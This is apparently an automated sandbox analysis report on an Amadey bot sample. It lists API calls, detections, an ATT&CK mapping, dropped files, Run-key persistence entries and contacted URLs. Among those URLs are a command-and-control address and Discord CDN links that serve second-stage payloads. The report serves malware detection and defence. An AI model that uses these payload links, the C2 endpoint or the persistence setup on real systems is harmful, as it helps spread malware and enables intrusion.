Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\152138533219 VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,		13_2_00403CE0
Source: C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	Code function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,??_U@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,		16_2_00403CE0

Source: C:\Users\user\Desktop\mvoElayshk.exe

Code function: 0_2_00291862 cpuid

0_2_00291862

Source: C:\Users\user\AppData\Local\Temp\a.exe

Code function: 3_2_01010641 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

3_2_01010641

Source: C:\Users\user\AppData\Local\Temp\a.exe

Code function: 3_2_0101E94F _free,GetTimeZoneInformation,_free,

3_2_0101E94F

Source: C:\Users\user\AppData\Local\Temp\a.exe

Code function: 3_2_01004010 GetVersionExW,GetModuleHandleA,GetProcAddress,GetSystemInfo,GetSystemMetrics,

3_2_01004010

Source: C:\Users\user\AppData\Local\Temp\a.exe

3_2_01001DA0

Stealing of Sensitive Information:

Yara detected Amadey bot

Show sources

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000005.00000002.996019062.0000000004707000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.927011329.000000000131A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.933021893.000000000137E000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.927044420.0000000001359000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rnyuf.exe PID: 6908, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	Scheduled Task/Job1	Exploitation for Privilege Escalation1	Disable or Modify Tools11	Input Capture111	System Time Discovery2	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Registry Run Keys / Startup Folder21	Process Injection111	Deobfuscate/Decode Files or Information1	LSASS Memory	Account Discovery1	Remote Desktop Protocol	Input Capture111	Exfiltration Over Bluetooth	Encrypted Channel12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Scheduled Task/Job1	Logon Script (Windows)	Scheduled Task/Job1	Obfuscated Files or Information2	Security Account Manager	File and Directory Discovery3	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Registry Run Keys / Startup Folder21	Masquerading1	NTDS	System Information Discovery36	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol14	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Modify Registry1	LSA Secrets	Query Registry1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion21	Cached Domain Credentials	Security Software Discovery121	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection111	DCSync	Process Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	Virtualization/Sandbox Evasion21	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	System Owner/User Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Invalid Code Signature	Network Sniffing	Remote System Discovery1	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mvoElayshk.exe	55%	Virustotal		Browse
mvoElayshk.exe	69%	ReversingLabs	Win32.Trojan.Amadey
mvoElayshk.exe	100%	Avira	HEUR/AGEN.1142320
mvoElayshk.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\a.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\1sb1iwyem7[1].exe	57%	ReversingLabs	Win32.Trojan.Tasker
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\5mgcqk6jl[1].exe	15%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OR0WKIO1\5mgcqk6jl[1].exe	57%	ReversingLabs	Win32.Trojan.Tasker
C:\Users\user\AppData\Local\Temp\1sb1iwyem7\1sb1iwyem7.exe	57%	ReversingLabs	Win32.Trojan.Tasker
C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe	62%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	15%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\5mgcqk6jl\5mgcqk6jl.exe	57%	ReversingLabs	Win32.Trojan.Tasker
C:\Users\user\AppData\Local\Temp\a.exe	62%	ReversingLabs	Win32.Trojan.Amadey

Unpacked PE Files

Source	Detection	Scanner	Label	Download
43.1.5mgcqk6jl.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
58.1.5mgcqk6jl.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
33.1.1sb1iwyem7.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
37.1.5mgcqk6jl.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
48.1.5mgcqk6jl.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
61.1.5mgcqk6jl.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
57.1.5mgcqk6jl.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
32.1.1sb1iwyem7.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
55.1.5mgcqk6jl.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
24.1.1sb1iwyem7.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
29.1.5mgcqk6jl.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
45.1.5mgcqk6jl.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
50.1.5mgcqk6jl.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
31.1.5mgcqk6jl.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
47.1.1sb1iwyem7.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.mvoElayshk.exe.124819f0.2.unpack	100%	Avira	HEUR/AGEN.1131354	Download File
62.1.5mgcqk6jl.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.mvoElayshk.exe.280000.0.unpack	100%	Avira	HEUR/AGEN.1142320	Download File
30.1.5mgcqk6jl.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
16.1.1sb1iwyem7.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.0.mvoElayshk.exe.282240.1.unpack	100%	Avira	HEUR/AGEN.1131354	Download File
54.1.5mgcqk6jl.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.mvoElayshk.exe.282240.1.unpack	100%	Avira	HEUR/AGEN.1131354	Download File
13.1.1sb1iwyem7.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
46.1.5mgcqk6jl.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://46.17.96.36/	0%	Virustotal		Browse
http://46.17.96.36/	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php1	0%	Avira URL Cloud	safe
https://report-uri.clo	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php?scr=13	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php?scr=1s	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php?scr=1p6	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php?scr=1/	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php?scr=1o	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php?scr=1Users	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php?scr=1	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php?scr=1l	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php?scr=1G	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php?scr=1mpA	0%	Avira URL Cloud	safe
http://46.17.96.36/1	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php?scr=1=1	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php/k8FppT/index.php	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php?scr=1?	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php?scr=1m7.	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.phpP	0%	Avira URL Cloud	safe
http://46.17.96.36/k8F	0%	Avira URL Cloud	safe
46.17.96.36/k8FppT/index.php	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php?scr=1qk6jl	0%	Avira URL Cloud	safe
http://46.17.96.36/17.96.36/k8FppT/index.php?scr=1	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php?scr=1K	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php#	0%	Avira URL Cloud	safe
http://46.17.96.36/k8FppT/index.php?scr=1_	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cdn.discordapp.com	162.159.134.233	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://46.17.96.36/k8FppT/index.php?scr=1	true	Avira URL Cloud: safe	unknown
http://cdn.discordapp.com/attachments/880877737378734114/880877802512060426/5mgcqk6jl.exe	false		high
http://cdn.discordapp.com/attachments/880877737378734114/880877786884112404/1sb1iwyem7.exe	false		high
http://46.17.96.36/k8FppT/index.php	true	Avira URL Cloud: safe	unknown
46.17.96.36/k8FppT/index.php	true	Avira URL Cloud: safe	low

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://46.17.96.36/	rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://46.17.96.36/k8FppT/index.php1	rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://cdn.discordapp.com/attachments/880877737378734114/880877786884112404/1sb1iwyem7.exed	rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	false		high
https://report-uri.clo	rnyuf.exe, 00000005.00000003.667402130.00000000013A6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://46.17.96.36/k8FppT/index.php?scr=13	rnyuf.exe, 00000005.00000003.670823365.0000000001380000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://46.17.96.36/k8FppT/index.php?scr=1s	rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://cdn.discordapp.com/attachments/880877737378734114/880877786884112404/1sb1iwyem7.exe(	rnyuf.exe, 00000005.00000003.667374060.0000000001380000.00000004.00000001.sdmp	false		high
http://46.17.96.36/k8FppT/index.php?scr=1p6	rnyuf.exe, 00000005.00000003.669850855.00000000013A6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://46.17.96.36/k8FppT/index.php?scr=1/	rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://46.17.96.36/k8FppT/index.php?scr=1o	rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/880877737378734114/880877786884112404/1sb1iwyem7.exeJ	rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	false		high
http://46.17.96.36/k8FppT/index.php?scr=1Users	rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://46.17.96.36/k8FppT/index.php?scr=1l	rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://46.17.96.36/k8FppT/index.php?scr=1G	rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://46.17.96.36/k8FppT/index.php?scr=1mpA	rnyuf.exe, 00000005.00000002.996019062.0000000004707000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://46.17.96.36/1	rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/	rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	false		high
http://46.17.96.36/k8FppT/index.php?scr=1=1	rnyuf.exe, 00000005.00000003.675356425.00000000013E0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/880877737378734114/880877802512060426/5mgcqk6jl.exe	rnyuf.exe, 00000005.00000002.989859171.00000000046E2000.00000004.00000001.sdmp	false		high
http://46.17.96.36/k8FppT/index.php/k8FppT/index.php	rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://46.17.96.36/k8FppT/index.php?scr=1?	rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://46.17.96.36/k8FppT/index.php?scr=1m7.	rnyuf.exe, 00000005.00000003.669850855.00000000013A6000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://cdn.discordapp.com/attachments/880877737378734114/880877786884112404/1sb1iwyem7.exen	rnyuf.exe, 00000005.00000002.927011329.000000000131A000.00000004.00000020.sdmp	false		high
https://cdn.discordapp.com/attachments/880877737378734114/880877786884112404/1sb1iwyem7.exeW	rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	false		high
http://46.17.96.36/k8FppT/index.phpP	rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://46.17.96.36/k8F	rnyuf.exe, 00000005.00000002.989859171.00000000046E2000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://cdn.discordapp.com/attachments/880877737378734114/880877786884112404/1sb1iwyem7.exeH	rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	false		high
https://cdn.discordapp.com/N	rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	false		high
http://46.17.96.36/k8FppT/index.php?scr=1qk6jl	rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://46.17.96.36/17.96.36/k8FppT/index.php?scr=1	rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://46.17.96.36/k8FppT/index.php?scr=1K	rnyuf.exe, 00000005.00000003.671834132.0000000001380000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://46.17.96.36/k8FppT/index.php#	rnyuf.exe, 00000005.00000002.938675353.00000000013A6000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://46.17.96.36/k8FppT/index.php?scr=1_	rnyuf.exe, 00000005.00000003.670823365.0000000001380000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/880877737378734114/880877786884112404/1sb1iwyem7.exe	rnyuf.exe, 00000005.00000003.669791372.0000000001380000.00000004.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
46.17.96.36	unknown	Netherlands		57043	HOSTKEY-ASNL	true
162.159.134.233	cdn.discordapp.com	United States		13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	473548
Start date:	29.08.2021
Start time:	22:26:12
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	mvoElayshk.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	63
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@100/16@1/3
EGA Information:	Failed
HDC Information:	Successful, ratio: 100% (good quality ratio 95.1%) Quality average: 86.8% Quality standard deviation: 24.4%
HCA Information:	Successful, ratio: 56% Number of executed functions: 183 Number of non-executed functions: 235
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 23.211.6.115, 20.82.210.154, 173.222.108.226, 173.222.108.210 Excluded domains from analysis (whitelisted): e12564.dspb.akamaiedge.net, au.download.windowsupdate.com.edgesuite.net, store-images.s-microsoft.com, audownload.windowsupdate.nsatc.net, store-images.s-microsoft.com-c.edgekey.net, arc.trafficmanager.net, ctldl.windowsupdate.com, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, a767.dscg3.akamai.net, arc.msn.com, au-bg-shim.trafficmanager.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:27:08	API Interceptor	2303x Sleep call for process: rnyuf.exe modified
22:27:09	Task Scheduler	Run new task: rnyuf.exe path: C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe
22:27:24	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 1sb1iwyem7.exe C:\Users\user\AppData\Local\Temp\1sb1iwyem7.\1sb1iwyem7.exe
22:27:32	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 1sb1iwyem7.exe C:\Users\user\AppData\Local\Temp\1sb1iwyem7.\1sb1iwyem7.exe
22:27:40	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 5mgcqk6jl.exe C:\Users\user\AppData\Local\Temp\5mgcqk6jl.\5mgcqk6jl.exe
22:27:54	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 5mgcqk6jl.exe C:\Users\user\AppData\Local\Temp\5mgcqk6jl.\5mgcqk6jl.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
162.159.134.233	xuTyOmef1g.exe	Get hash	malicious	Browse	cdn.discordapp.com/attachments/878382243242983437/879113244856430592/Microsoft.exe
162.159.134.233	VMKwliCGEP.rtf	Get hash	malicious	Browse	cdn.discordapp.com/attachments/785611664095313920/785649743954706472/bin.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
cdn.discordapp.com	order#455523.vbs	Get hash	malicious	Browse	162.159.134.233
	Renetry Hack.exe	Get hash	malicious	Browse	162.159.134.233
	gMWaIDKK37.exe	Get hash	malicious	Browse	162.159.130.233
	hsRrR2KPY7.exe	Get hash	malicious	Browse	162.159.133.233
	pCSou0ozZy.exe	Get hash	malicious	Browse	162.159.133.233
	ZUd8KSXXVD.exe	Get hash	malicious	Browse	162.159.130.233
	k2vbB70cV7.exe	Get hash	malicious	Browse	162.159.129.233
	OCrlOxN8uU.exe	Get hash	malicious	Browse	162.159.130.233
	kATDFWvtje.exe	Get hash	malicious	Browse	162.159.130.233
	swiftcr.exe	Get hash	malicious	Browse	162.159.130.233
	z5YaDxVg34.exe	Get hash	malicious	Browse	162.159.134.233
	VunjeCGYgU.exe	Get hash	malicious	Browse	162.159.135.233
	kBZehvBJYd.exe	Get hash	malicious	Browse	162.159.130.233
	u6qq59Oq6y.exe	Get hash	malicious	Browse	162.159.133.233
	1Ps8424by8.exe	Get hash	malicious	Browse	162.159.135.233
	2wETbdUIFc.exe	Get hash	malicious	Browse	162.159.133.233
	ltnIYd33yU.exe	Get hash	malicious	Browse	162.159.135.233
	apgKDBpMxB.exe	Get hash	malicious	Browse	162.159.135.233
	Fh6agmYian.exe	Get hash	malicious	Browse	162.159.130.233
	PDF.FILE#1145523.vbs	Get hash	malicious	Browse	162.159.134.233

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	Lunar_Builder.exe	Get hash	malicious	Browse	162.159.128.233
	Lunar_Builder.exe	Get hash	malicious	Browse	162.159.128.233
	order#455523.vbs	Get hash	malicious	Browse	162.159.134.233
	EarZA1AonY.exe	Get hash	malicious	Browse	104.20.139.65
	Renetry Hack.exe	Get hash	malicious	Browse	162.159.134.233
	update_1630227239.dll	Get hash	malicious	Browse	104.26.6.139
	uvVLne3r48.exe	Get hash	malicious	Browse	172.67.70.188
	gMWaIDKK37.exe	Get hash	malicious	Browse	162.159.130.233
	hsRrR2KPY7.exe	Get hash	malicious	Browse	162.159.133.233
	pCSou0ozZy.exe	Get hash	malicious	Browse	162.159.133.233
	ZUd8KSXXVD.exe	Get hash	malicious	Browse	162.159.130.233
	k2vbB70cV7.exe	Get hash	malicious	Browse	162.159.129.233
	OCrlOxN8uU.exe	Get hash	malicious	Browse	162.159.130.233
	kATDFWvtje.exe	Get hash	malicious	Browse	162.159.130.233
	swiftcr.exe	Get hash	malicious	Browse	162.159.130.233
	Y54o1vpvV6.exe	Get hash	malicious	Browse	162.159.135.232
	m5qTThXEqm.exe	Get hash	malicious	Browse	104.20.138.65
	isgRMqD3Bq.exe	Get hash	malicious	Browse	172.67.1.225
	z5YaDxVg34.exe	Get hash	malicious	Browse	162.159.134.233
	VunjeCGYgU.exe	Get hash	malicious	Browse	162.159.135.233
HOSTKEY-ASNL	yTQtsgFHGJ.exe	Get hash	malicious	Browse	46.17.96.37
	Reciept_20438048.xlsb	Get hash	malicious	Browse	5.39.222.102
	iexploer.dll	Get hash	malicious	Browse	185.70.187.157
	CB3LL2QQ2z	Get hash	malicious	Browse	146.0.75.242
	dnGR8gtOGz	Get hash	malicious	Browse	146.0.75.242
	7sJzXufsLX	Get hash	malicious	Browse	146.0.75.242
	SC7rDNvnQT	Get hash	malicious	Browse	146.0.75.242
	41A4G2WNM8	Get hash	malicious	Browse	146.0.75.242
	VShwID8czj	Get hash	malicious	Browse	146.0.75.242
	xIqrTQD303	Get hash	malicious	Browse	146.0.75.242
	XXCWTa4VF5	Get hash	malicious	Browse	146.0.75.242
	3jAYAlao61	Get hash	malicious	Browse	146.0.75.242
	5aXIxJSlQR	Get hash	malicious	Browse	146.0.75.242
	4jirZDIFcw	Get hash	malicious	Browse	146.0.75.242
	LoEJZuB1rj	Get hash	malicious	Browse	146.0.75.242
	2lhUTWHfEO	Get hash	malicious	Browse	146.0.75.242
	YdoNZNLdmT	Get hash	malicious	Browse	146.0.75.242
	RCtGSDwbmA	Get hash	malicious	Browse	146.0.75.242
	7wvqRzUsBU	Get hash	malicious	Browse	146.0.75.242
	eCAEzO56H2	Get hash	malicious	Browse	146.0.75.242

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\mvoElayshk.exe.log Download File
Process:	C:\Users\user\Desktop\mvoElayshk.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	660
Entropy (8bit):	5.390020766762198
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTxAI51KDLI4MN5P6D1BakvoDLI4MWuPak2kL0nk7v:ML9E4KrL1qE4GiD0E4KeGj
MD5:	ED176F7B2A92AFE2E5D2FE638497B180
SHA1:	AC0CE61B4C1398CE766F3C34269C7B6AEDE78926
SHA-256:	08EDDC037583A4B1815D4FBC4A4CA7356BF81A7F7D5E72F1EBA6289474D94B65
SHA-512:	A83D3A4E144576DB06390142ECAF7527D858635FA5DF9CD6ABB7DA67CA91D8647216088023E9C79A06D1DC6BCAE380DE11175B2DA85A5C44E1ABBAB0330BCB06
Malicious:	true
Reputation:	unknown
